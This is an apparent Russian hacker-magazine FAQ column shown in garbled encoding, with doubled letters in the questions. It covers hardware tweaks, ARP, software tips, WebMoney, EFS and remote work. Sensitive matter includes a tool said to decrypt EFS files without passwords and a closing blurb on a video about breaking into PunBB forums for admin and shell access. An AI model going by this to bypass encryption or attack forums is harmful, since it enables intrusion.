A: Ïîäêëþ÷èòü Intel Pentium M ê îáû÷íîìó êîìïüþòåðó äåéñòâèòåëüíî ìîæíî �
äëÿ ýòîãî íåîáõîäèìî èñïîëüçîâàòü ñïåöèàëüíûé ïåðåõîäíèê, íàïðèìåð, Asus
CT-479. Âî ìíîãîì îí î÷åíü ïîõîæ íà êîãäà-òî ïîïóëÿðíûé àäàïòåð Socket370-
>Slot1,òî åñòü ïðèíöèï èñïîëüçîâàíèÿ î÷åíü ïðîñò. Ñíà÷àëà â îáû÷íûé ðàçúåì
Socket 478 ìàòåðèíñêîé ïëàòû ñ ÷èïñåòîì Intel i865 èëè i875 óñòàíàâëèâàåòñÿ ñàì
àäàïòåð. Ïîñëå ýòîãî â ñîêåò àäàïòåðà óñòàíàâëèâàåòñÿ óæå ïðîöåññîð êëàññà
Pentium M è ñïåöèàëüíûé êóëåð, êîòîðûé èäåò â êîìïëåêòå ñ ïåðåõîäíèêîì.
Òû ñïðîñèøü: «Çà÷åì òàê èçâðàùàòüñÿ?». Âèäèìî, åñòü ïðè÷èíû :). Ñ ïî-
ìîùüþ òàêîãî àäàïòåðà, íåêîòîðûõ ìîäåëåé ìàòåðèíñêèõ ïëàò è îáíîâëåííûì
áèîñîì ìîæíî äîáèòüñÿ íåâåðîÿòíî âûñîêîé ïðîèçâîäèòåëüíîñòè, ïðè ýòîì
ñèñòåìà áóäåò îòëè÷àòüñÿ íèçêèì ýíåðãîïîòðåáëåíèåì. Àâòîðèòåòíûì ïàðíÿì
èç Tom's Hardware Guide (www.thg.ru) óäàëîñü ðàçîãíàòü 2.12 ÃÃö ïðîöåññîð äî
òàêòîâîé ÷àñòîòû 2,56 ÃÃö (÷àñòîòà FSB ïðè ýòîì áûëà óâåëè÷åíà ñ 133 ÌÃö äî
160 ÌÃö). Ðåçóëüòàòû ïðåâçîøëè âñå îæèäàíèÿ. Òàêàÿ ñâÿçêà áûëà áûñòðåå,
÷åì Athlon 64 FX è Intel Pentium 4 Extreme Edition. Âåðèòüñÿ ñ òðóäîì, íî ôàêòû
îñòàþòñÿ ôàêòàìè � www.thg.ru/cpu/20050526/pentium4-21.html

QQ:: ÏÏîîììííèèòòññÿÿ,, ïïààððóó ëëååòò ííààççààää ááûûëëàà ññïïååööèèààëëüüííààÿÿ óóòòèèëëèèòòàà,, ïïîîççââîîëëÿÿþþùùààÿÿ ððààçç-
ããîîííÿÿòòüü ññêêîîððîîññòòüü PPSS//22 ïïîîððòòàà ääîî 220000 ÃÃöö ((ïïîîððòò îîïïððààøøèèââààååòò ììûûøøêêóó 220000 ððààçç ââ
ññååêêóóííääóó)).. ÌÌûûøøêêàà ïïððèè ýýòòîîìì ññòòààííîîââèèëëààññüü òòîî÷÷ííåååå èè ááûûññòòððåååå ððååààããèèððîîââààëëàà ííàà
ððååççêêèèåå ääââèèææååííèèÿÿ.. ÂÂîîïïððîîññ:: àà ììîîææííîî ëëèè ïïîîääîîááííûûìì îîááððààççîîìì ««ððààççîîããííààòòüü»»
UUSSBB-ããððûûççóóííàà,, èèëëèè 112255 ÃÃöö �� ýýòòîî ììààêêññèèììóóìì??
A: Âîîáùå ãîâîðÿ, óâåëè÷èòü ñêîðîñòü îïðîñà USB-ïîðòà ìîæíî ðó÷êàìè:
äëÿ ýòîãî íóæíî ïîêîïàòüñÿ â ðååñòðå è â HEX-ðåäàêòîðå ïîäïðàâèòü ôàéë
USBPORT.SYS. Íî, ÷òîáû íå çàìîðà÷èâàòü ñåáÿ ïîäîáíûìè ìàõèíàöèÿìè,
ëó÷øå áóäåò èñïîëüçîâàòü ñïåöèàëüíóþ óòèëèòó USB Mouserate Switcher
(www.softpedia.com/get/Tweak/System-Tweak/USB-Mouserate-switcher.shtml).
Äëÿ ðàáîòû ñ ïðîãðàììîé íåîáõîäèìî çàïóñòèòü Windows â áåçîïàñíîì ðå-
æèìå è âîéòè â ñèñòåìó ïîä àäìèíèñòðàòîðñêèì àêêàóíòîì. Ïîñëå çàïóñêà,

USB Mouserate Switcher ñðàçó ïðåäëîæèò «ðàçîãíàòü» ïîðò äî 1000 Ãö. Íî
ñîãëàøàòüñÿ íà ñòîëü çàìàí÷èâîå ïðåäëîæåíèå ÿ áû íå ñòàë. Ñòîëü äèêóþ
íàãðóçêó âûäåðæèò äàëåêî íå êàæäûé ïîðò, ïðè ýòîì òû ðåàëüíî ðèñêóåøü
åãî ñïàëèòü. Äðóãîå äåëî � 250 èëè 500 Ãö. Ïðè æåëàíèè èñõîäíûé ôàéë
USBPORT.SYS ìîæíî âîññòàíîâèòü, òî åñòü óáðàòü ðàçãîí.

QQ:: ÄÄëëÿÿ ÷÷ååããîî èèññïïîîëëüüççóóååòòññÿÿ ïïððîîòòîîêêîîëë AARRPP èè ïïîî÷÷ååììóó ááååçç ííååããîî ííååââîîççììîîææííàà ððàà-
ááîîòòàà ëëþþááîîéé ëëîîêêààëëüüííîîéé ññååòòèè??
A: ARP (Address Resolution Protocol) � ïðîòîêîë ïîèñêà àäðåñà. Èçâåñòíî,
÷òî â ñåòÿõ íåò îäíîçíà÷íîãî ñîîòâåòñòâèÿ ìåæäó ôèçè÷åñêèì àäðåñîì èí-
òåðôåéñà (MAC-àäðåñ) è åãî IP-àäðåñîì. Çàòî òàêîå ñîîòâåòñòâèå ìîæåò
áûòü óñòàíîâëåíî ñ ïîìîùüþ ïðîòîêîëà ARP. Îáúÿñíÿþ ïîäðîáíî.
Èíôîðìàöèÿ ïî ëîêàëüíîé ñåòè ïåðåäàåòñÿ â ñåòåâûõ ïàêåòàõ, ïðè÷åì â
êàæäîì èç íèõ óêàçûâàþòñÿ àäðåñà îòïðàâèòåëÿ è ïîëó÷àòåëÿ. Íî èñïîëü-
çóþòñÿ íå IP-àäðåñà, êàê òû ìîã ïîäóìàòü, à ôèçè÷åñêèå MAC-àäðåñà ñåòå-
âûõ óñòðîéñòâ. Ïîëó÷àåòñÿ, ÷òî äëÿ îïðàâêè ïàêåòà íà ìàøèíó ñ àäðåñîì
192.168.0.10, êîìïüþòåðó ñíà÷àëà ïðèäåòñÿ âûÿñíèòü MAC-àäðåñ óäàëåí-
íîãî óçëà è òîëüêî ïîñëå ýòîãî ôîðìèðîâàòü è îòïðàâëÿòü ïàêåò â Ñåòü.
Äëÿ óïðîùåíèÿ ýòîãî ïðîöåññà êàæäûé êîìïüþòåð îáëàäàåò òàê íàçûâàå-
ìûì ARP-êýøåì, â êîòîðîì õðàíÿòñÿ ñîîòâåòñòâèÿ IP-MAC. Åñëè êîìïüþ-
òåð óæå îáðàùàëñÿ ê óäàëåííîìó óçëó, òî åãî MAC-àäðåñ äîëæåí áûòü â êý-
øå è ìîæåò áûòü óñïåøíî èñïîëüçîâàí. Â ïðîòèâíîì ñëó÷àå ïî Ñåòè ïðî-
õîäèò øèðîêîâåùàòåëüíûé ARP-çàïðîñ «Êòî çíàåò MAC-àäðåñ òàêîãî IP-
àäðåñà». Íà òàêèå çàïðîñû îáû÷íî îòâå÷àåò ñàì âëàäåëåö IP-àäðåñà, îòï-
ðàâëÿÿ ñâîè MAC- è IP-àäðåñà. Òå ïîìåùàþòñÿ â ARP-êýø îòïðàâèòåëÿ è
èñïîëüçóþòñÿ äëÿ äàëüíåéøåé ðàáîòû.

QQ:: ßß ççààííèèììààþþññüü PPRR''îîìì èè ððààññêêððóóòòêêîîéé ññààééòòîîââ:: ääååëëîî ääîîââîîëëüüííîî ïïððèèááûûëëüüííîîåå,, ííîî
èè ððààááîîòòààòòüü ïïððèèõõîîääèèòòññÿÿ ííååììààëëîî.. ÌÌîîææííîî ëëèè ââ FFiirreeffooxx ííààññòòððîîèèòòüü ïïððîîââååððêêóó îîðð-
ôôîîããððààôôèèèè?? ßß ÷÷ààññòòîî ïïððÿÿììîî ââ ááððààóóççååððåå ïïèèøøóó ððååêêëëààììííûûåå ññëëîîããààííûû èè ííååááîîëëüü-
øøèèåå òòååêêññòòûû �� ííààääîîååëëîî ïïððîîââååððÿÿòòüü èèõõ ââ WWoorrdd''åå èè ccooppyy-ppaassttee''èèòòüü îîááððààòòííîî ::))..
A: Firefox � ýòî ðàñøèðÿåìûé áðàóçåð, òàê ÷òî íàéòè è ïîäêëþ÷èòü ê íåìó
ìîæíî âñå, ÷òî óãîäíî :). Íàèáîëåå óñïåøíûì ïðîåêòîì äëÿ àâòîìàòè÷åñ-

ÇÀÄÀÂÀß ÂÎÏÐÎÑ, ÏÎÄÓÌÀÉ! ÍÅ ÑÒÎÈÒ ÌÍÅ ÏÎÑÛËÀÒÜ
ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ ÈÍÀ×Å ÑÂßÇÀÍÍÛÅ Ñ ÕÀÊÎÌ/ÊÐß-
ÊÎÌ/ÔÐÈÊÎÌ � ÄËß ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ (HACK-
FAQ@REAL.XAKEP.RU), ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ ÇÀÄÀÂÀÒÜ ÎÒÊ-

ÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ ÂÎÏÐÎÑÛ, ÎÒÂÅÒ ÍÀ ÊÎÒÎÐÛÅ
ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍÍÎÌ ÆÅËÀÍÈÈ ÌÎÆÅØÜ ÍÀÉÒÈ È
ÑÀÌ. ß ÍÅ ÒÅËÅÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊÐÅÒÈÇÈÐÓÉ ÂÎÏ-
ÐÎÑ, ÏÐÈÑÛËÀÉ ÊÀÊ ÌÎÆÍÎ ÁÎËÜØÅ ÈÍÔÎÐÌÀÖÈÈ

FAQ-unit

FAQÑOMMENTS
Ñòåïàí Èëüèí aka Step 
(faq@real.xakep.ru)
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êîé ïðîâåðêè îðôîãðàôèè ñ÷èòàåòñÿ SpellBound (îôôñàéò �
spellbound.sourceforge.net). Ïîìèìî ýòîãî íóæíî ñêà÷àòü è óñòàíîâèòü â
ïðîãðàììó ðóññêèå ñëîâàðè � http://backup.mozilla.ru/soft/ru-us_dict.xpi,
http://downloads.mozdev.org/dictionaries/spell-ru.xpi.

QQ:: ÑÑòòóóêêííóóëëîî ììííåå ââ ããîîëëîîââóó ííààïïèèññààòòüü ññîîááññòòââååííííûûéé ôôààééëëîîââûûéé ììååííååääææååðð,, ððåå-
ààëëèèççîîââààòòüü ââññåå ññââîîèè ççààääóóììêêèè.. ÎÎääííààêêîî ññòòîîëëêêííóóëëññÿÿ ññ îîääííîîéé,, êêààççààëëîîññüü ááûû,, ïïóóññ-
òòÿÿøøííîîéé ïïððîîááëëååììîîéé.. ÍÍåå ììîîããóó ïïîîííÿÿòòüü,, êêààêê ììîîææííîî ííîîððììààëëüüííîî îîòòîîááððààççèèòòüü ïïððîî-
ööååññññ êêîîïïèèððîîââààííèèÿÿ ôôààééëëàà,, òòîî ååññòòüü ññääååëëààòòüü òòààêê,, ÷÷òòîîááûû PPrrooggrreessssBBaarr ((ááååããóóùùààÿÿ
ïïîîëëîîññêêàà ññ ïïððîîööååííòòààììèè)) ççààïïîîëëííÿÿëëààññüü ââ ññîîîîòòââååòòññòòââèèèè ññ ïïððîîööååííòòîîìì ââûûïïîîëëííåå-
ííèèÿÿ îîïïååððààööèèèè.. ÈÈññïïîîëëüüççóóþþ AAPPII-ôôóóííêêööèèþþ FFiilleeCCooppyy,, èè ÷÷òòîî-òòîî ííèè÷÷ååããîî ííåå ïïîîëëóó÷÷àà-
ååòòññÿÿ.. ÅÅùùåå èè òòîîððììîîççèèòò ïïîî÷÷ååììóó-òòîî��
A: Çíàêîìàÿ ïðîáëåìà. Äåéñòâèòåëüíî åñëè êîïèðîâàòü ôàéë ñ ïîìîùüþ
API-ôóíêöèè FileCopy, òî ïðîãðàììà íà âðåìÿ êîïèðîâàíèÿ ôàéëà ïîïðîñ-
òó ïîäâèñàåò. Òàêàÿ ôèãíÿ ïðîèñõîäèò èç-çà òîãî, ÷òî ïðèëîæåíèå ïîëó÷à-
åò îáðàòíî óïðàâëåíèå òîëüêî ïî çàâåðøåíèþ ðàáîòû âûçâàííîé ôóíêöèè.
×åì áîëüøå ðàçìåð ôàéëà � òåì áîëüøå äëèòñÿ îïåðàöèÿ è, ñîîòâåò-
ñòâåííî, äîëüøå ïðîãðàììà «âèñèò». Êàê ïîíèìàåøü, ïðè òàêîì ðàñêëàäå
î âèçóàëèçàöèè ïðîöåññà êîïèðîâàíèÿ ïðèäåòñÿ çàáûòü. Òàê ÷òî ôóíêöèÿ
FileCopy � ýòî ÿâíî íå ñàìûé ëó÷øèé âàðèàíò.
Ñêîïèðîâàòü ôàéë ìîæíî è áåç èñïîëüçîâàíèÿ API. Àëãîðèòì íåìóäðåí. Îòê-
ðûâàåøü äâà ôàéëà (îäèí äëÿ ÷òåíèÿ, äðóãîé äëÿ çàïèñè), ïîñëå ÷åãî â öèê-
ëå ïî êóñî÷êàì íà÷èíàåì êîïèðîâàòü èíôó èç îäíîãî ôàéëà â äðóãîé.Òî åñòü
÷èòàåì áëîê èç ïåðâîãî ôàéëà, ïèøåì åãî âî âòîðîé, ñìîòðèì íà ñîñòîÿíèå
ñ÷åò÷èêà è âû÷èñëÿåì ïðîöåíò ñêîïèðîâàííûõ äàííûõ � ïîñëå ýòîãî çàíîâî
ïîâòîðÿåì ïîñëåäîâàòåëüíîñòü îïåðàöèé. Ñêîðîñòü êîïèðîâàíèÿ íàïðÿìóþ
áóäåò çàâèñåòü îò òîãî ñàìîãî ðàçìåðà áëîêà, êîòîðûé áûë âûáðàí.
Â ïðèíöèïå, òî æå ñàìîå ìîæíî âûïîëíèòü ñ ïîìîùüþ ñïåöèàëüíîé API-
ôóíêöèè CopyFileEx, èìåþùåé âîçìîæíîñòü îòîáðàæàòü ïðîãðåññ êîïèðî-
âàíèÿ. Ïîäðîáíîå îïèñàíèå ôóíêöèè è ïðèìåð åå èñïîëüçîâàíèÿ ìîæíî
íàéòè çäåñü � www.mentalis.org/apilist/CopyFileEx.shtml. 

QQ:: ßß îîòòêêððûûëë WWeebbmmoonneeyy-îîááììååííííèèêê.. ÎÎááîîððîîòò ïïîîêêàà ííååááîîëëüüøøîîéé ((ââññååããîî
~~220000$$//ììååññÿÿöö)),, ííîî ïïååððññïïååêêòòèèââûû ååññòòüü.. ÂÂîîòò õõîî÷÷óó ññïïððîîññèèòòüü:: êêààêêèèìì îîááððààççîîìì ââ
ññëëóó÷÷ààåå ïïîîòòååððèè ììîîææííîî ââîîññññòòààííîîââèèòòüü ôôààééëë cc êêëëþþ÷÷ààììèè îîòò êêîîøøååëëüüêêàà ((**..kkwwmm))??
ÅÅããîî ââååääüü ííàà ee-mmaaiill ââððÿÿää ëëèè ââûûññûûëëààþþòò��
A: Â ñëó÷àå ïîòåðè êëþ÷à îò WM-êîøåëüêà ãåìîððîé òåáå îáåñïå÷åí. Äëÿ
åãî âîññòàíîâëåíèÿ ïðèäåòñÿ çàíîâî ðåãèñòðèðîâàòüñÿ â ñèñòåìå è äëÿ íîâî-
ãî WM-èäåíòèôèêàòîð ïîëó÷àòü ïåðñîíàëüíûé àòòåñòàò. Ýòîò àòòåñòàò âûäà-
åòñÿ ëþáîìó ó÷àñòíèêó ñèñòåìû WebMoney Transfer ïîñëå ïðîâåðêè åãî ïåð-
ñîíàëüíûõ (ïàñïîðòíûõ) äàííûõ, ïðîöåäóðó êîòîðîé ïðîâîäÿò òàê íàçûâàå-
ìûå ðåãèñòðàòîðû. Ñ ýòèìè ðåãèñòðàòîðàìè òåáå ïðèäåòñÿ âñòðå÷àòüñÿ ëè÷-
íî (ñïèñîê ïî ãîðîäàì � https://passport.webmoney.ru/asp/Reglist.asp?ret-
tid=130) èëè æå îòïðàâëÿòü ïî ïî÷òå çàâåðåííûå íîòàðèóñîì êîïèè äîêóìåí-
òîâ. Ñàì àòòåñòàò ñòîèò îêîëî 5-30$, òàê ÷òî èäåÿ âîññòàíàâëèâàòü êîøåëåê
ñ äîëëàðîì íà ñ÷åòó çàâåäîìî ëèøåíà ñìûñëà. Êàê òîëüêî ïîëó÷èøü ïåðñî-
íàëüíûé àòòåñòàò, òû ñìîæåøü ïîäàòü çàÿâêó íà âîññòàíîâëåíèå êîíòðîëÿ
íàä ñâîèì ñòàðûì êîøåëüêîì. Ïðîáëåì íà ýòîì ýòàïå âîçíèêíóòü íå äîëæ-
íî, íî çà îêàçàííûå óñëóãè ïðèäåòñÿ ðàñêîøåëèòüñÿ åùå íà 5 WMZ :(.

QQ:: ÓÓææåå ííååññêêîîëëüüêêîî ððààçç ññòòààëëêêèèââààëëññÿÿ ññ ïïððîîááëëååììîîéé,, êêîîããääàà pphhppMMyyAAddmmiinn,, ññññûûëëààÿÿññüü
ííàà ððààççëëèè÷÷ííûûåå îîøøèèááêêèè,, ííåå ððààááîîòòààëë ííàà óóääààëëååííííîîìì ññååððââååððåå.. ÁÁûûòòüü ììîîææååòò,, ññóóùùåå-
ññòòââóóååòò ááîîëëåååå ííààääååææííààÿÿ ààëëüüòòååððííààòòèèââàà ääëëÿÿ èèííòòååððààêêòòèèââííîîéé ððààááîîòòûû ññ ÁÁÄÄ MMyySSQQLL??
A: Íåñìîòðÿ íà ñâîþ ïîïóëÿðíîñòü, ñêðèïò phpMyAdmin íå ëèøåí íåäîñòàò-
êîâ. Âî-ïåðâûõ, îí äåéñòâèòåëüíî èíîãäà îòêàçûâàåòñÿ êîððåêòíî ðàáîòàòü, è
ñäåëàòü ÷òî-ëèáî â ýòîé ñèòóàöèè áåç ïðàâ ðóòà ïðàêòè÷åñêè íåâîçìîæíî. Âî-
âòîðûõ, ýòî î÷åíü òÿæåëûé ñêðèïò (êàê-íèêàê, 1,5 Ìá), ñîñòîÿùèé èç ìàññû
ôàéëîâ, ÷òî íå î÷åíü óäîáíî è çíà÷èòåëüíûì îáðàçîì ìåøàåò åãî ñêðûòîé
óñòàíîâêå. Â-òðåòüèõ, phpMyAdmin îòêðûòî õðàíèò â êîíôèãàõ ïàðîëü â áàçå
äàííûõ, òî åñòü ïðåäñòàâëÿåò ñîáîé ðåàëüíóþ äûðó â áåçîïàñíîñòè ñåðâåðà.
Âïðî÷åì, õîðîøàÿ àëüòåðíàòèâà åìó âñå-òàêè åñòü � ñêðèïò RST MySQL v2.0,
êîòîðûé íå òàê äàâíî çàðåëèçèëà ãðóïïà Rush Security Team (rst.void.ru). Ýòîò
ñêðèïò ïîëíîñòüþ ïîâòîðÿåò ôóíêöèè è âîçìîæíîñòè phpMyAdmin, íî â íåêî-
òîðûõ ìîìåíòàõ äàæå îáõîäèò åãî. Òû áåç òðóäà ñìîæåøü ïðîñìàòðèâàòü è
ðåäàêòèðîâàòü âñåâîçìîæíûå áàçû, ñîçäàâàòü íîâûå è èñïðàâëÿòü èìåþùè-
åñÿ òàáëèöû, óäàëÿòü èç íèõ êîíêðåòíûå çàïèñè. ß óæå íå ãîâîðþ î ñîñòàâëå-
íèè çàïðîñîâ ê MySQL è áûñòðîì ïðîñìîòðå äàìïà áàçû. RST MySQL íå õðà-
íèò â ñâîèõ êîíôèãàõ êàêèõ-ëèáî ïàðîëåé, íî äëÿ óäîáñòâà èñïîëüçîâàíèÿ
îòîáðàæàåò èíôîðìàöèþ î ñèñòåìå, â êîòîðîé óñòàíîâëåí. Ñàìûé æå ñóùå-
ñòâåííûé ïëþñ ýòîãî ñêðèïòà � åãî ðàçìåð (17 Êá â àðõèâå). 

QQ:: ÏÏîî÷÷ååììóó ííàà ññòòððààííèèööààõõ ââààøøååããîî ææóóððííààëëàà ââûû òòààêê ÷÷ààññòòîî óóïïîîììèèííààååòòåå ïïððîîããððààììììûû ääëëÿÿ
øøèèôôððîîââààííèèÿÿ ääààííííûûõõ,, ååññëëèè ââ WWiinnddoowwssXXPP òòààêêààÿÿ ôôóóííêêööèèÿÿ ââññòòððîîååííàà ïïîî óóììîîëë÷÷ààííèèþþ??

A: À ïî÷åìó òû íå èñïîëüçóåøü âñòðîåííûé ôàéðâîë? Èëè, íàïðèìåð, ìóëü-
òèìåäèéíûé ïëååð? Âñå ïî òîé æå ïðè÷èíå � ñòîðîííèå ïðîäóêòû íà ïîðÿ-
äîê ëó÷øå è ïðåäîñòàâëÿþò áîëüøèå âîçìîæíîñòè. Êàê èçâåñòíî, Windows
èñïîëüçóåò ôàéëîâóþ ñèñòåìó NTFS, êîòîðàÿ äåéñòâèòåëüíî ïîääåðæèâàåò
øèôðîâàíèå äàííûõ (Encrypted File System). Ïî èäåå, äîñòóï ê çàêðèïòîâàí-
íûì ôàéëàì èìååò òîëüêî ïîëüçîâàòåëü, àêòèâèçèðîâàâøèé äëÿ ýòèõ ôàé-
ëîâ øèôðîâàíèå. Îäíà ëèøü ïðîáëåìà � áëàãîäàðÿ ïðîãðàììå Advanced
EFS Data Recovery (www.passwords.ru) îáîéòè òàêóþ çàùèòó ìîæíî âñåãî çà
íåñêîëüêî ìèíóò. Óòèëèòà ñïðàâèòñÿ ñ çàäà÷åé äàæå â òîì ñëó÷àå, åñëè ñèñ-
òåìà íå ãðóçèòñÿ èëè ïîâðåæäåíû çàïèñè î êëþ÷àõ øèôðîâàíèÿ. Èñïîëüçî-
âàòü åå ìîæíî ïîä Windows XP/2000/2003, íî ðàáîòàÿ ïîä Windows 2000,
îíà ïðåäîñòàâëÿåò ìàêñèìàëüíûå âîçìîæíîñòè è ïîçâîëÿåò ðàñøèôðîâàòü
ôàéëû, äàæå íå çíàÿ ïàðîëåé ïîëüçîâàòåëÿ è àäìèíèñòðàòîðà. 
Âïðî÷åì, íà ýòîì «ïðåëåñòè» âñòðîåííîãî øèôðîâàíèÿ íå çàêàí÷èâàþòñÿ.
Encrypted File System ïðåäñòàâëÿåò åùå è ðåàëüíóþ óãðîçó äëÿ ñîõðàííîñ-
òè ôàéëîâ. Ñáîé â ñèñòåìå ìîæåò âûçâàòü èñêàæåíèå çàêðûòîãî êëþ÷à, íå-
îáõîäèìîãî äëÿ ðàñøèôðîâêè äàííûõ. Â ýòîì ñëó÷àå ïîëüçîâàòåëü ôàêòè-
÷åñêè òåðÿåò çàøèôðîâàííóþ èíôîðìàöèþ, åñëè, êîíå÷íî, íå âîñïîëüçóåò-
ñÿ óñëóãàìè Advanced EFS Data Recovery.

QQ:: ÑÑêêààææèè:: ððååààëëüüííîî ëëèè ïïððîîããððààììììèèññòòóó óóññòòððîîèèòòüüññÿÿ ííàà óóääààëëååííííóóþþ ððààááîîòòóó ÷÷ååððååçç
èèííòòååððííååòò?? ÎÎòòëëèè÷÷ííîî ççííààþþ CC++++ èè JJaavvaa,, ííîî ææèèââóó ââ ïïððîîââèèííööèèèè èè ððààááîîòòûû ññ ääîîññ-
òòîîééííûûìì îîêêëëààääîîìì ííààééòòèè ííåå ììîîããóó ::((..
A: Íå áóäó ñïîðèòü, ÷òî íàéòè óäàëåííóþ ðàáîòó ñ ïðèëè÷íûì îêëàäîì äî-
âîëüíî ñëîæíî. Íî ïðè áîëüøîì æåëàíèè åå íàéòè âñå-òàêè ìîæíî. Íå ðàñ-
ñìàòðèâàÿ áàíàëüíûé ïîèñê âàêàíñèé ÷åðåç ïîèñêîâèê, ìîæíî ïîïðîáî-
âàòü ñäåëàòü ñëåäóþùåå:

1 Îïóáëèêóé ñâîå ðåçþìå íà ôîðóìàõ ïî ïðîãðàììåðñêîé òåìàòèêå. ß
èìåþ â âèäó íå äîìàøíèå ñòðàíè÷êè Âàñè Ïóïêèíà, à ôîðóìû àâòîðèòåòíûõ
ïîðòàëîâ, òèïà www.rsdn.ru. Êàê ïðàâèëî, îíè èìåþò ñïåöèàëüíûé ðàçäåë
«Ðàáîòà», ãäå ïåðèîäè÷åñêè ïîÿâëÿþòñÿ ñåðüåçíûå ðàáîòîäàòåëè. Îäèí
ìîé õîðîøèé äðóã ðàáîòàåò PHP-ïðîãðàììèñòîì íà ìîñêîâñêóþ êîíòîðó è,
ïðàêòè÷åñêè íå íàïðÿãàÿñü, ïîëó÷àåò âïîëíå ïðèëè÷íûå äåíüãè (1300$).

2 Î÷åíü ìíîãî îáúÿâëåíèé ïî ïîâîäó ðàáîòû (â òîì ÷èñëå è ðàçîâîé) ïóá-
ëèêóåòñÿ â ñïåöèàëèçèðîâàííûõ ñîîáùåñòâàõ ÆÆ (www.livejournal.com).
Çàðåãèñòðèðóé ñåáå àêêàóíò è ïðèñîåäèíèñü ê òàêèì êîììóíèòè, êàê
ru_cpp, ru_java, ru_sql è ò.ï. Åñëè ïîèñêàòü, òî íàâåðíÿêà íàéäåøü ñîîáùå-
ñòâà, ïðåäíàçíà÷åííûå èìåííî äëÿ ïîèñêà ðàáîòû.

3 Ìîæíî ïîïûòàòü ñ÷àñòüå è óñòðîèòüñÿ íà ðàáîòó çà ãðàíèöåé. Íàïðè-
ìåð, êîìïàíèÿ oDesk (www.odesk.com) ïðèãëàøàåò freelancer'îâ ñî âñå-
ãî ìèðà ñ îïûòîì ðàáîòû îò 3-õ ëåò è õîðîøèìè çíàíèÿìè ïî ñëåäóþ-
ùèì ñïåöèàëüíîñòÿì .NET, Java/J2EE, C/C++ ,VB, Flash, ASP, Perl,
PHP/MySQL, C#. Òàêæå îòêðûòû âàêàíñèè äëÿ äèçàéíåðîâ è âåá-äèçàé-
íåðîâ. Âñå óñëîâèÿ ðàáîòû è èíôîðìàöèÿ îá îïëàòå (êñòàòè, îò 10$ /
÷àñ) äîñòóïíû íà ñàéòå.

QQ:: ÕÕîîòòèèìì ïïîîääêêëëþþ÷÷èèòòüü ññââîîþþ ëëîîêêààëëüüííóóþþ ññååòòüü êê ññïïóóòòííèèêêîîââîîììóó êêààííààëëóó.. ÓÓææ
îî÷÷ååííüü ïïððååëëüüùùààååòò ââîîççììîîææííîîññòòüü ââûûêêàà÷÷èèââààòòüü ôôèèëëüüììûû èè ââààððååçç ïïîî ññììååøøííûûìì
ööååííààìì ççàà òòððààôôèèêê.. ÒÒûû ííåå ììîîãã ááûû ïïððèèââååññòòèè ííååááîîëëüüøøîîéé îîááççîîðð ïïððîîââààééääååððîîââ,,
êêîîòòîîððûûåå ààêêòòóóààëëüüííûû ääëëÿÿ ååââððîîïïååééññêêîîéé ÷÷ààññòòèè ÐÐîîññññèèèè??
A: PlanetSky (www.planetsky.com) � äîâîëüíî ïîïóëÿðíûé â Ðîññèè ñåðâèñ
îò çàãîðåëûõ êèïðñêèõ ïàðíåé. Ïîäîáíî âñåì îñòàëüíûì ïðîâàéäåðàì
èìååò òðàíñïîíäåð (ïåðåäàþùàÿ ÷àñòü ñïóòíèêà) íà ðóññêîì Express AM22,
êîòîðûé ïîêðûâàåò áîëüøóþ ÷àñòü òåððèòîðèè Ðîññèè. Ñàìûå äåøåâûå
öåíû íà òàðèôû ïî òðàôèêó, ðàçóìíûì ðàñöåíêè íà áåçëèìèòíûå ïîäïèñ-
êè, ïðåäíàçíà÷åííûå äëÿ ñåðôèíãà. Ðàáîòàåò óñêîðèòåëü TC-RECV, êîòî-
ðûé íåñêîëüêî óìåíüøàåò çàäåðæêè, íî ïðè ýòîì óâåëè÷èâàåò îáúåì òðà-
ôèêà. Äëÿ îïëàòû ìîæíî âîñïîëüçîâàòüñÿ óñëóãàìè îäíîãî èç ðîññèéñêèõ
ðåññåëåðîâ, êîèõ âåëèêîå ìíîæåñòâî. 
Spacegate (www.spacegate.com.ua/rus) � ïðîâàéäåð, êîòîðîãî èñïîëüçóþ
ëè÷íî ÿ. Ïðèìå÷àòåëåí ðàçóìíûìè öåíàìè (êàê ïî òðàôèêó, òàê è àíëèìû),
ñòàáèëüíûì êàíàëîì è âîçìîæíîñòüþ èñïîëüçîâàíèÿ ÷óäî-óñêîðèòåëÿ
Globax (www.globax.info). Ïîñëåäíèé, èñïîëüçóÿ ñæàòèÿ òðàôèêà, íå òîëüêî
ýêîíîìèò òðàôèê, íî è ñâîäèò íà íåò âîçìîæíûå çàäåðæêè. Ïðîâàéäåð èñ-
ïîëüçóåò ñïóòíèêè Express AM22 è NSS6 (êàðòû ïîêðûòèÿ âñåãäà âûêëàäû-
âàþòñÿ íà ñàéòàõ ïðîâàéäåðîâ) è ïðåäîñòàâëÿåò íåñêîëüêî ñïîñîáîâ îïëà-
òû, â òîì ÷èñëå ÷åðåç áàíê è Webmoney
«Ðàäóãà» (www.d-v.ru) � îòå÷åñòâåííûé ñåðâèñ, êîòîðûé ïîÿâèëñÿ ñîâñåì
íåäàâíî. Ïîêà åùå íå äî êîíöà îòëàæåí è ÷àñòåíüêî äàåò ñáîé, ïîýòîìó èñ-
ïîëüçîâàòü åãî íå ðåêîìåíäóþ. Òåì áîëåå ÷òî öåíû íè÷óòü íå íèæå, ÷åì ó
äðóãèõ. Ñïóòíèêè: Express AM22, Intelsat 904, ßìàë 200.
Ìåíåå ïîïóëÿðíûé ïðîâàéäåðû: Opensky (www.opensky.net), âîçâîäèâøàÿ-
ñÿ Europe Online (www.europeonline.net), SatGate (www.satgate.net)
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[[îîïïèèññààííèèåå ððîîëëèèêêàà:: 
PPuunnBBBB hhaacckkiinngg:: ##DDEEFFAACCEE
ààââòòîîðð ââèèääååîî:: KKEEZZ]]
Óæå äàâíî èçâåñòíî, ÷òî ìåëêèé ôîðóì PunBB
ïîèìåë êðóïíûå äûðêè.
Ïîñëåäíÿÿ áàãà â ýòîì äîâîëüíî ðàñïðîñòðàíåí-
íîì ôîðóìå äàëà âîçìîæíîñòü íå òîëüêî ïîëó-
÷èòü äîñòóï àäìèíèñòðàòîðà, íî è øåëë-àêöåñ ê
ñåðâåðó. Â ýòîì âèäåî õàêåð íàõîäèò íà ãóãëå
îäèí èç áàæíûõ ôîðóìîâ, è ñðàçó áåæèò ëîìàòü
